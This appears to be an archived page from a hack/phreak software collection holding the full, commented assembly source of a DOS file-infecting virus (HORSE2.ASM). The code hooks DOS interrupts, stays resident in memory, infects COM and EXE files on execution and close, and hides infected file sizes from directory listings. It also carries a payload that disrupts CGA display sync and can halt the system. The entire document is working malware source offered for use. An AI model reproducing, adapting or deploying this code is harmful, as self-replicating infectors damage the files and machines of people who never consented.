home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / HORSE2.ASM < prev    next >
Assembly Source File  |  1992-08-09  |  19KB  |  559 lines

  1.  .model tiny
  2.  .code
  3.  .radix  16
  4.  
  5. ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  6.  
  7.                         org 0100h
  8.                         CALL    EntryPoint      ; Call virus entry point
  9.  
  10. ; Here begin virus by himself
  11.  
  12. EntryPoint:
  13.              POP    BP        ; Restore in BP address of data area
  14.              PUSH    BX        ; Save BX
  15.              PUSH    CX        ; Save CX
  16.              PUSH    ES        ; Save ES
  17.              PUSH    DS        ; Save DS
  18.              CLC            ; Clear carry flag
  19.              MOV    AX,4B4Bh    ; Load AX with self-check word
  20.              INT    21        ; Call int21
  21.              JC    Install     ; If virus is loaded CF==0
  22.  
  23.              PUSH    DS        ; Save DS
  24.              PUSH    CS        ; Set DS point to PSP
  25.              POP    DS        ;
  26.              MOV    SI,DI        ; SI=DI= virus CODE begin
  27.              SUB    SI,0003     ; include CALL in the beginning
  28.              ADD    SI,BP        ; Adjust different offsets
  29.              MOV    CX,047Ch    ; Compare virus code only
  30.              CLD            ; Clear direction
  31.              REP    CMPSB        ; Repeat until equal
  32.              POP    DS        ; Restore DS
  33.              PUSH    DS        ; Set ES = DS
  34.              POP    ES
  35.              JZ    ReturnControl    ; If virus -> return to file
  36.  
  37. Install:
  38.              MOV    CS:[offset FunCounter+BP],3456         ;    Load generation counter
  39.              MOV    AX,DS        ; Move PSP segment in AX
  40.              DEC    AX        ; Compute MCB of PSP
  41.  
  42.              MOV    DS,AX        ; Set DS to MCB
  43.              SUB    [0003],0050    ; "Steal" some memory
  44.              MOV    AX,ES:[0002]    ; ????
  45.              SUB    AX,0050     ; ????
  46.              MOV    ES:[0002],AX    ;
  47.              PUSH    AX        ; Save new virus segment
  48.              SUB    DI,DI        ; DI=0
  49.  
  50.              MOV    SI,BP        ; SI point to virus begin
  51.              SUB    SI,0003     ; Adjust CALL in the beginning
  52.              MOV    DS,DI        ; DS set to 0
  53.              MOV    BX,Offset int21handler    ; Load BX with int 21 handler
  54.              XCHG    BX,[0084]    ; and set it in vector table
  55.              MOV    CS:[BP+offset Int21off],bx    ; Save old vector offset
  56.              XCHG    AX,[0086]    ; Set new int21 seg & get old segment
  57.              MOV    CS:[BP+offset Int21seg],ax    ; Save old vector segment
  58.              POP    ES        ; Set ES point to new virus seg
  59.              PUSH    CS        ; Set DS point to current virus seg (PSP)
  60.              POP    DS        ;
  61.              MOV    CX,offset LastByte    ; Will move all virus
  62.              REP    MOVSB        ; Move virus in hi memory (as Eddie)
  63.  
  64.              MOV    AX,4BB4h    ; Int21 is grabbed by virus
  65.              INT    21        ; This SetUp virus function
  66. ReturnControl:
  67.              POP    DS        ; Restore DS
  68.              POP    ES        ; Restore ES
  69.              CMP    byte ptr CS:[BP+ComFlag],43      ; Check if host file is COM
  70.              JZ    ReturnCOM    ; If COM -> exit COM
  71. ReturnEXE:
  72.              MOV    AX,CS:[BP+First3]     ; Load AX with old IP
  73.              MOV    DX,CS:[BP+First3+2]     ; Load AX with old CS
  74.              MOV    CX,CS        ; Load CX with current run segment
  75.              SUB    CX,CS:[BP+06]    ; Calculate PSP+10h
  76.              MOV    DI,CX        ; Save result in DI
  77.              ADD    DX,CX        ; In DX is now start segment
  78.              POP    CX        ; ???
  79.              POP    BX        ; ???
  80.              CLI            ; Disable interrupts
  81.              ADD    DI,CS:[BP+04]
  82.              MOV    SS,DI
  83.              STI
  84. DoReturn:                ; 009B
  85.              PUSH    DX    ; Push entry segment
  86.              PUSH    AX    ; Push entry offset
  87.  
  88.              SUB    AX,AX    ; Clear registers
  89.              SUB    DX,DX    ; Clear of AX may cause trouble
  90.              SUB    BP,BP    ; with several programs (as DISKCOPY)
  91.              SUB    SI,SI    ; AX must be saved on entry and restored
  92.              SUB    DI,DI    ;
  93.              RETF        ; Return control to EXE file
  94.  
  95. ReturnCOM:
  96.              POP    CX    ; ???
  97.              POP    BX    ; ???
  98.              MOV    AX,[BP+First3]     ; Load AX with first 2 instr
  99.              MOV    [0100],AX        ; and restore them at file begin
  100.              MOV    AX,[BP+First3+2] ; Load AX with second 2 instr
  101.              MOV    [0102],AX        ; and restore them at file begin
  102.              MOV    AX,0100         ; Set AX to entry offset
  103.              MOV    DX,CS            ; Set DX to entry segment
  104.              JMP       short    DoReturn            ; Go to return code
  105.  
  106. FindFirstNext:
  107.              PUSHF            ; Save flags
  108.              CALL    dword ptr CS:[offset Dos21off]    ; Call DOS
  109.              PUSH    BX        ; Save rezult of searching
  110.              PUSH    ES
  111.              PUSH    SI
  112.              PUSH    AX
  113.              MOV    SI,DX        ; DS:SI point to FCB with search argument
  114.              CMP    byte ptr [SI],0FFh     ; Check for Extended FCB
  115.              JNZ    NoDirCommand    ; If FCB not extended then command is not DIR
  116.              MOV    AH,2Fh        ; Get DTA address; Result of search is in DTA
  117.              INT    21
  118.              MOV    AX,ES:[BX+1Eh]    ; Load file time to AX
  119.              AND    AX,001Fh    ; Mask seconds
  120.              CMP    AX,001Fh    ; Check if file  seconds are  62
  121.              JNZ    NoDirCommand    ; If seconds!=62 -> file not infected
  122.              CMP    ES:[BX+26h],0000 ; Check file size, hi byte
  123.              JNZ    AdjustSize    ; If file bigger than 64K -> immediate adjust
  124.              CMP    ES:[BX+24h],offset LastCode ; Check low byte of file size
  125.              JC    NoDirCommand    ; If file is less than virus -> skip adjust
  126. AdjustSize:
  127.              SUB    ES:[BX+24h],offset LastCode ; Decrement file size with virus size
  128.              SBB    ES:[BX+26h],0000 ; Decrement hi byte of size if need
  129.  
  130. NoDirCommand:
  131.              POP    AX        ; Restore registers
  132.              POP    SI
  133.              POP    ES
  134.              POP    BX
  135.              IRET            ; Return to caller
  136.  
  137. HereIam:
  138.              PUSH    CS        ; If AX==4B4B -> so virus call me
  139.              POP    ES        ; Set ES to virus segment
  140.              MOV    DI,000C     ; Set DI to virus code begin
  141.              IRET            ; Return to caller
  142. Int21handler:
  143.              CMP    AH,11h        ; If function is FindFirst
  144.              JZ    FindFirstNext    ; If so -> will adjust file size
  145.              CMP    AH,12h        ; If function is FindNext
  146.              JZ    FindFirstNext    ; If so -> will adjust file size
  147.              CMP    AX,4B4Bh    ; If AX==4B4B -> Identification
  148.              JZ    HereIam  ; function
  149.              CMP    AX,4BB4h    ; Setup function
  150.              JNZ    Continue    ; Continue checking of AH
  151.              JMP    SetUp
  152. Continue:
  153.              PUSH    AX        ; Save important registers
  154.              PUSH    BX
  155.              PUSH    CX
  156.              PUSH    DX
  157.              PUSH    SI
  158.              PUSH    DI
  159.              PUSH    BP
  160.              PUSH    DS
  161.              PUSH    ES
  162.  
  163.              CMP    AH,3Eh        ; If function CLOSE file handle
  164.              JZ    CloseFile    ;
  165.              CMP    AX,4B00h    ; If function is EXEC file
  166.              MOV    AH,3Dh        ; If so set AH to OPEN function
  167.              JZ    Infect        ; and infect file
  168. ErrorProcess:
  169.              MOV    AX,CS:[offset FunCounter]    ; Load nomer pored na function
  170.              CMP    AX,0000  ; If counter is != 0
  171.              JNZ    AdjustFunCount    ; then only decrease counter
  172.              JMP    VideoFuck    ; else go to video fuck
  173. AdjustFunCount:
  174.              DEC    AX
  175.              MOV    CS:[04A0h],AX
  176. EndInt21:
  177.              POP    ES        ; Restore important registers
  178.              POP    DS
  179.              POP    BP
  180.              POP    DI
  181.              POP    SI
  182.              POP    DX
  183.              POP    CX
  184.              POP    BX
  185.              POP    AX
  186.              JMP       dword ptr CS:[offset Int21off]  ; Jump to DOS
  187.  
  188.              DB    9A        ; ??????
  189.  
  190. CloseFile:
  191.              MOV    AH,45
  192. Infect:
  193.              CALL    CallDOS     ; Call DOS int 21
  194.              JC    ErrorProcess    ; If error -> Stop processing
  195.              MOV    BP,AX        ; Save file handle in BP
  196.              MOV    AX,3508     ; Get timer interrupt
  197.              CALL    CallDOS
  198.              MOV    CS:[offset TimerOff],BX    ; and save it in variable
  199.              MOV    CS:[offset TimerSeg],ES
  200.              PUSH    BX                ; and to stack
  201.              PUSH    ES
  202.              MOV    AL,21        ; Get in21
  203.              CALL    CallDOS
  204.              PUSH    BX        ; and save it on stack
  205.              PUSH    ES
  206.              MOV    AL,24        ; Get critical error int
  207.              CALL    CallDOS
  208.              PUSH    BX        ; and store  it on stack
  209.              PUSH    ES
  210.              MOV    AL,13        ; Get int 13 (disk I/O)
  211.              CALL    CallDOS
  212.              PUSH    BX        ; and save it on stack
  213.              PUSH    ES
  214.              MOV    AH,25        ; Now he will SET vectors
  215.              LDS    DX,dword ptr CS:[offset Int13off] ; Load int13 bios address
  216.              CALL    CallDOS     ; Set it in vector table
  217.              MOV    AL,21
  218.              LDS    DX,dword ptr CS:[offset Dos21off] ; Load int21 dos address
  219.              CALL    CallDOS     ; Set in vector table
  220.              MOV    AL,24        ; Will set critical error handler
  221.              PUSH    CS
  222.              POP    DS        ; Set DS point to vurus segment
  223.              MOV    DX,offset CriticalError ; Load its own critical handler
  224.              INT    21        ; Set in vector table
  225.              MOV    AL,08        ; Set new timer
  226.              MOV    DX,offset TimerHandler    ; Load its own timer
  227.              INT    21        ; Set in vector table
  228.              MOV    BX,BP        ; Restore file handle from BP to BX
  229.              PUSH    BX        ; Save handle on stack
  230.              MOV    AX,1220     ; Get handle table number
  231.              CALL    CallInt2F    ; Via int2F (undocumented)
  232.              MOV    BL,ES:[DI]    ; Load table number in BL
  233.              MOV    AX,1216     ; Get table address
  234.              CALL    CallInt2F    ; Via int2F (undocumented)
  235.              POP    BX        ; Restore file handle
  236.              ADD    DI,0011     ; ES:DI point to file size
  237.              MOV    byte ptr ES:[DI-0Fh],02   ; Set file open mode (3Dxx) to Read/Write
  238.              MOV    AX,ES:[DI]    ; Load DX:AX with file size
  239.              MOV    DX,ES:[DI+02]    ;
  240.              CMP    DX,0000     ; Check if file is less than 64k
  241.              JNZ    BigEnough    ; If less
  242.              CMP    AX,offset LastCode    ; Then check if file is less than virus
  243.              JNC    BigEnough    ; If file is larger than virus -> fuck it
  244.              JMP    SkipFile    ; else skip file
  245. BigEnough:
  246.              MOV    [offset FileSizeLow],AX     ; Save file size in variables
  247.              MOV    [offset FileSizeHi],DX
  248.              SUB    AX,offset VirusAuthor-offset EndAuthor    ; Decrease file size with sign size
  249.              SBB    DX,0000     ;
  250.              MOV    ES:[DI+04],AX    ; Set current file position to point
  251.              MOV    ES:[DI+06],DX    ; Virus sign
  252.              PUSH    DI        ; Save table handle table address
  253.              PUSH    ES        ;
  254.              MOV    AH,3F        ; Will read from file
  255.              MOV    CX,offset EndAuthor-offset VirusAuthor
  256.              MOV    DX,offset LastByte    ; Load DS:DX point AFTER virus
  257.              MOV    DI,DX        ; DI point this area either
  258.              INT    21        ; Read file
  259.              MOV    SI,Offset VirusAuthor    ; DS:SI point virus sign
  260.              MOV    CX,offset EndAuthor-offset VirusAuthor ; Load CX sign size
  261.              PUSH    CS        ; ES:DI point to readed byte
  262.              POP    ES        ;
  263.              REP    CMPSB        ; Compare virus sign with readed bytes
  264.              POP    ES        ; Restore handle table address
  265.              POP    DI        ;
  266.              JNZ    CleanFile    ; If not equal -> file is clean
  267.              JMP    SkipFile    ; Else file infected -> skip it
  268. CleanFile:         MOV    ES:[DI+04],0000     ; Set file pointer to 0L
  269.              MOV    ES:[DI+06],0000
  270.              MOV    AH,3F        ; Will read EXE header
  271.              MOV    CX,001B     ; Size of EXE header
  272.              MOV    DX,offset LastByte    ; Read in buffer AFTER virus
  273.              MOV    SI,DX        ; Set DS:SI point to readed header
  274.              INT    21        ; Read header
  275.              JNC    NoErrorHeader    ; If no error in read -> go ahead
  276.              JMP    SkipFile    ; If error occur -> skip file
  277. NoErrorHeader:         CMP    ES:[DI+18],4D4F     ; Check in table if file is ?OM
  278.              JNZ    NoComFile
  279.              JMP    InfectCOM
  280. NoComFile:        CMP    ES:[DI+18],4558  ; Check for ?XE file
  281.              JZ    CheckForEXE    ; If so -> infect it
  282.              JMP    SkipFile    ; Else skip file
  283.  
  284. CheckForEXE:         CMP    ES:[DI+17],45    ; Check if file is realy an EXE-named
  285.              JZ    CheckEXEsign    ; If so -> check for MZ,ZM
  286.              JMP    SkipFile    ; Else skip file
  287.  
  288. CheckEXEsign:        CMP    [SI],5A4Dh    ; Check for MZ
  289.              JZ    InfectEXE    ; If so -> infect file
  290.              CMP    [SI],4D5Ah    ; Check for ZM
  291.              JZ    InfectEXE    ; If so -> infect file
  292.              JMP    SkipFile    ; Otherwise -> skip file
  293.  
  294. InfectEXE:        MOV    byte ptr [ComFlag],45h      ; Set file type flag to EXE
  295.              MOV    AX,[SI+0Eh]    ; Load AX with EXE file SS
  296.              MOV    [SSegment],AX     ; and save it
  297.              MOV    AX,[SI+14h]    ; Load AX with EXE header IP
  298.              MOV    [IPointer],AX     ; and save it
  299.              MOV    AX,[SI+16h]    ; Load AX with EXE header CS
  300.              MOV    [CSegment],AX     ; And save it
  301.              MOV    DX,offset LastCode    ; Load DX with virus CODE size
  302.              PUSH    DX        ; Save it to stack
  303.              MOV    CX,9h        ; Compute virus size in
  304.              SHR    DX,CL        ; 512 pages
  305.              ADD    [SI+04h],DX    ; Increase EXE file header size field
  306.                         ; with virus pages
  307.              POP    DX        ; Restore virus size in DX
  308.              AND    DX,01FFh    ; Compute reminder from VirusSize/512
  309.              ADD    DX,[SI+02]    ; Save value in EXE header
  310.              CMP    DX,0200  ; Check virus reminder
  311.              JL    NoAdjustRem    ; If less than 512 -> no adjust
  312.              SUB    DX,0200     ; Else decrease reminder
  313.              INC    word ptr [SI+04]    ; Increase EXE header page count
  314. NoAdjustRem:
  315.              MOV    [SI+02],DX    ; Save correct reminder in EXE header
  316.              MOV    AX,[SI+08]    ; Load AX with file size in paragraphs
  317.              SUB    DX,DX        ; Set DX to Zero
  318.  
  319.              CALL    LongMultiple16    ; Get DX:AX file size in bytes
  320.              SUB    [offset FileSizeLow],AX     ; Correct saved file size
  321.              SBB    [offset FileSizeHi],DX
  322.              MOV    AX,[FileSizeLow]    ; Load DX:AX with corrected file size
  323.              MOV    DX,[offset FileSizeHi]
  324.              CALL    LongMultiple16        ; DX:AX *= 0x10
  325.              MOV    CX,0008     ; Calculate new entry CS:IP
  326.              SHL    DX,CL        ; DX/=0x100
  327.              MOV    CX,0004
  328.              SHR    AX,CL        ; AX/=0x10
  329.              MOV    [SI+14],AX    ; Set entry CS:IP to EXE header
  330.              MOV    [SI+16],DX
  331.              MOV    [NewCS],DX    ; Save new entry CS
  332.              ADD    DX,0200     ; Calculate new entry SS
  333.              MOV    [SI+0E],DX    ; Store it to EXE header
  334.  
  335. DoInfect:
  336.              MOV    ES:[DI+04],0000 ; Set file pointer to 0L
  337.              MOV    ES:[DI+06],0000
  338.              PUSH    ES:[DI-02]    ; Save file date/time on stack
  339.              PUSH    ES:[DI-04]
  340.              SUB    CX,CX        ; Set CX to 0
  341.              XCHG    CX,ES:[DI-0Dh]    ; Load CX file attrib/set file attrib to 0
  342.              PUSH    CX        ; Save file attrib to stack
  343.              MOV    AH,40        ; Write file
  344.              MOV    DX,offset LastByte    ; EXE header
  345.              MOV    CX,001B     ; Rewrite modified EXE header
  346.              INT    21        ; Do write
  347.              JC    BadWrite    ; If error skip file
  348.              MOV    AX,ES:[DI]    ; Set file pointer
  349.              MOV    ES:[DI+04],AX
  350.              MOV    AX,ES:[DI+02]    ; to end of file
  351.              MOV    ES:[DI+06],AX    ;
  352.              MOV    AH,40        ; Will write
  353.              SUB    DX,DX        ; Virus offset
  354.              MOV    CX,offset LastCode    ; Virus size
  355.              INT    21    ; Write virus to EXE file
  356.  
  357. BadWrite:
  358.              POP    CX    ; Restore file attrib from stack
  359.              MOV    ES:[DI-0Dh],CX     ; Set attrib of file
  360.              POP    CX    ; Restore file date/time from stack
  361.              POP    DX
  362.              OR    byte ptr ES:[DI-0Bh],40   ; Set DO NOT UPDATE TIME flag in table
  363.              JC    NoFuckTime    ; If write error -> Set normal time
  364.              OR    CX,001F ; Else set file seconds to 62
  365. NoFuckTime:
  366.              MOV    AX,5701     ; Set file date/time
  367.              INT    21        ; Via int21
  368. SkipFile:
  369.              MOV    AH,3E        ; CloseFile
  370.              INT    21
  371.              OR    byte ptr ES:[DI-0Ch],40   ; ????
  372.              SUB    AX,AX        ; Set DS to 0
  373.              MOV    DS,AX
  374.              POP    AX        ; Restore int 13 seg
  375.              MOV    [004E],AX    ; Restore vector 13 seg
  376.              POP    AX        ; Restore int 13 off
  377.              MOV    [004C],AX    ; Restore vector 13 off
  378.              POP    AX        ; Restore int 24 seg
  379.              MOV    [0092],AX    ; Restore vector 24 seg
  380.              POP    AX        ; Restore int 24 off
  381.              MOV    [0090],AX    ; Restore vector 24 off
  382.              POP    AX        ; Restore int 21 seg
  383.              MOV    [0086],AX    ; Restore vector 21 seg
  384.              POP    AX        ; Restore int 21 off
  385.              MOV    [0084],AX    ; Restore vector 21 off
  386.              POP    AX        ; Restore int 8 seg
  387.              MOV    [0022],AX    ; Restore vector 8 seg
  388.              POP    AX        ; Restore int 8 off
  389.              MOV    [0020],AX    ; Restore vector 0 off
  390.              JMP    ErrorProcess        ; Update counter
  391. InfectCom:
  392.              TEST    byte ptr ES:[DI-0Dh],04   ; Check for SYSTEM file
  393.              JNZ    OkComFile    ; If file IS system -> Damage file ?????
  394.              PUSH    SI        ; Save buffer offset
  395.              CMP    ES:[DI+17],43    ; Check if file ext begin with 'C'
  396.              JNZ    OkComFile    ; If no -> damage file
  397.              MOV    byte ptr [ComFlag],43      ; Set file type flag to COM
  398.              LODSW            ; Load first 2 bytes of file
  399.              MOV    CS:[First3],AX     ; And save them
  400.              LODSW            ; Load seconf 2 bytes of file
  401.              MOV    CS:[First3+2],AX ; And save them
  402.              MOV    AX,ES:[DI]    ; Load AX with file size
  403.              CMP    AX,0FA76h    ; Check file size
  404.              POP    SI        ; Restore buffer offset
  405.              JC    OkComFile    ; If file is less than 64118 bytes -> OK infect
  406.              JMP       short    SkipFile        ; else skip file
  407. OkComFile:
  408.              SUB    AX,0003     ; Calculate jump argument
  409.              MOV    byte ptr [SI],0E9h     ; Set first instruction to near JMP
  410.              MOV    [SI+01],AX    ; Store JMP argument
  411.              JMP    DoInfect    ; Go write buffer
  412.  
  413. LongMultiple16:
  414.              PUSH    CX        ; Save CX
  415.              MOV    CX,0004     ; Will repeat 4 times
  416. DoMult:
  417.              SHL    AX,1        ; Mult DX:AX * 2
  418.              RCL    DX,1        ;
  419.              LOOP    DoMult        ; Repeat 4 times -> 2^4 = 16
  420.              POP    CX        ; Restore CX
  421.              RET            ; Return to caller
  422. SetUp:
  423.              MOV    AH,52        ; Get DOS's table of table address
  424.              INT    21        ; in ES:BX
  425.              MOV    CS:[Offset TableSegment],es    ; Save table segment
  426.                         ; Virus treat this segment as DOS segment
  427.                         ; He assume int21 seg == to DOS segment
  428.                         ; That's why virus will fail on DOS 5.X
  429.              CLI            ; Disable interrupts
  430.              SUB    AX,AX        ; Set AX to 0
  431.              MOV    DS,AX        ; Set DS point to interrupt vectors
  432.              MOV    [0004],offset Debugger    ; Set vector 1 (trap) offset
  433.              MOV    [0006],CS    ;    ; Set vector 1 (trap) seg
  434.              MOV    AX,[00BC]    ; Load int2F off
  435.              MOV    CS:[offset Int2Foff],AX ; and save it
  436.              MOV    AX,[00BE]    ; Load int2F seg
  437.              MOV    CS:[offset Int2Fseg],AX ; and save it
  438.              STI    ; Enable interrupts
  439.              PUSHF        ; Save flags
  440.              PUSHF        ; Save flags
  441.              POP    AX    ; Get flags in AX
  442.              OR    AX,0100     ; Set TF to 1 (trace mode)
  443.              PUSH    AX        ; Put flags back to stack
  444.              POPF        ; Begin trace
  445.              SUB    AX,AX    ; AX = 0
  446.              DEC    AH    ; AX = FF00 ???
  447.              CALL    dword ptr [0084]    ; Call DOS (trace mode active)
  448.              MOV    SI,0004     ; SI = 4
  449.              MOV    DS,SI        ; DS = SI = 4
  450.              MOV    AH,30        ; Get DOS version
  451.              INT    21        ; Via int21
  452.              CMP    AX,1E03  ; Check DOS 3.30
  453.              LES    AX,[SI+08]    ; Load ES:AX with int13 address
  454.              JB    OkInt13  ; If DOS vers < 3.30 -> ignore BIOS address load/check
  455.              LES    AX,[0770+SI]    ; then load ES:DX with BIOS address of int13
  456.                         ; simulate int2F, AH=13
  457.              MOV    BX,ES        ; BX:AX int13 BIOS address
  458.              CMP    BX,0C800h    ; If int13 seg >= C800
  459.              JAE    OkInt13     ; Then address is in BIOS, all OK
  460.  
  461.              CLI            ; else HALT system
  462.              HLT
  463. OkInt13:
  464.              MOV    CS:[offset Int13off],AX     ; Save in13 address
  465.              MOV    CS:[offset Int13seg],ES
  466.              IRET            ; Return to caller, setup complete
  467.  
  468. Debugger:
  469.              PUSH    BP        ; Save BP
  470.              MOV    BP,SP        ; BP point to stack top
  471.              PUSH    BX        ; Save BX
  472.              MOV    BX,CS:[offset TableSegment]    ; Load BX with DOS segment
  473.              CMP    SS:[BP+04],BX    ; Check debugged address
  474.              JNZ    ContinueDebug    ; If not in DOS -> continue
  475.              MOV    BX,SS:[BP+02]    ; else load BX with int21 off
  476.              MOV    CS:[offset Dos21off],BX ; and save it
  477.              AND    SS:[BP+06],0FEFFh    ; Clear trap flag
  478. ContinueDebug:
  479.              POP    BX        ; Restore BX
  480.              POP    BP        ; Restore BP
  481.              IRET        ; Continue trace if require or
  482.                     ; continue int21 execution without trace
  483.  
  484. ; Next subroutine fuck you CGA display (don't affect EGA).
  485. ; Fucking result could be fix by dos MODE command
  486.  
  487. VideoFuck:
  488.              MOV    DX,03D4h    ; Select CGA register selector
  489.              MOV    AL,02        ; Select CRT register 2 (horiz sync)
  490.              OUT    DX,AL        ; Do selection
  491.              MOV    AL,0FFh ; New sync value
  492.              MOV    DX,03D5h    ; Select CGA register value writer
  493.                         ; This could be INC DX; That save 1 byte
  494.              OUT    DX,AL        ; Fuck horiz sync
  495.              JMP    EndInt21    ; Terminate int21 request
  496. CallDOS:
  497.              PUSHF        ; Save flags
  498.              CALL    dword ptr CS:[offset Dos21off]    ; Call ORIGINAL int21
  499.              RET        ; Return to caller
  500. CallInt2F:
  501.              PUSHF        ; Save flags
  502.              CALL    dword ptr CS:[offset Int2Foff]    ; Call SAVED int2F
  503.              RET        ; Return to caller
  504. TimerHandler:
  505.              PUSHF        ; Save flags
  506.              CALL    dword ptr    CS:[offset TimerOff]    ; Call original timer
  507.              PUSH    AX    ; Save AX
  508.              PUSH    DS    ; Save DS
  509.              SUB    AX,AX    ; Set DS to interrupt table
  510.              MOV    DS,AX
  511.              CLI        ; Disable interrupts
  512.              MOV    AX,CS:[offset Int13off]     ; Restore int13 address
  513.              MOV    [004C],AX
  514.              MOV    AX,CS:[offset Int13seg]
  515.              MOV    [004E],AX
  516.  
  517.              MOV    [0020],offset TimerHandler    ; Set int8
  518.              MOV    [0022],CS
  519.  
  520.              MOV    AX,CS:[offset Dos21off]     ; Restore int21 address
  521.              MOV    [0084],AX
  522.              MOV    AX,CS:[offset TableSegment]
  523.              MOV    [0086],AX
  524.  
  525.              MOV    AX,offset CriticalError     ; Set int24
  526.              MOV    [0090],AX
  527.              MOV    [0092],CS
  528.  
  529.              STI            ; Enable interrupts
  530.              POP    DS        ; Restore DS
  531.              POP    AX        ; Restore AX
  532.              IRET            ; Terminate timing
  533. CriticalError:
  534.              MOV    AL,03        ; If critical error
  535.              IRET            ; then simulate Ignore
  536. VirusAuthor:
  537.             db    'Sofia,Feb '
  538.             db    27h
  539.             db    '91 Naughty Hacker.'    ; Replace this string with HORSE
  540. EndAuthor:
  541.  
  542.  
  543. LastCode        label    byte        ; This is virus in file
  544.  
  545. Int21off:        DW    0        ; Variable area
  546. Int21seg:        DW    0        ; NOT writed in file
  547. Int2Foff:        DW    0
  548. Int2Fseg:        DW    0
  549. TimerOff:        DW    0
  550. TimerSeg:        DW    0
  551. Int13off:        DW    0
  552. Int13seg:        DW    0
  553. Dos21off:        DW    0
  554. TableSegment:        DW    0
  555. FileSizeLow:        DW    0
  556. FileSizeHi:        dw    0
  557. FunCounter:        dw    0        ; Executed function counter
  558. LastByte:        label    byte        ; Memory size of virus
  559.